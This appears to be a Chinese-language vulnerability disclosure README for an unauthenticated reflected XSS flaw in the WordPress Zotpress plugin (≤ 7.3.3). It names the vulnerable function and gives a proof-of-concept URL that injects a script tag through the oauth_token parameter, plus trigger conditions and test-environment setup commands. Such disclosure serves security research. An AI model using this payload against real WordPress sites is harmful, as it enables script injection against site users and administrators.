该仓库涉及 WordPress Zotpress 插件中的 XSS 漏洞。
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
无需身份验证
位于 zotpress/lib/admin/admin.accounts.oauth.php 中的 get_request_token 函数存在 XSS 攻击漏洞。
get_request_token 函数执行的条件(仅首次)。
发送如下载荷:http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>你需要一个 zotero.org 账户。
你需要将 oauthState 值设置为 1 才能触发。如果上述载荷无效,则需要找到将 oauthState 设置为 1 的方法。
条件表达式:
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
快速安装 php oauth 扩展:
一行命令:
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
已在 wordpress:latest Docker 镜像中进行测试。
https://www.youtube.com/watch?v=5kZ7bNbs_-Q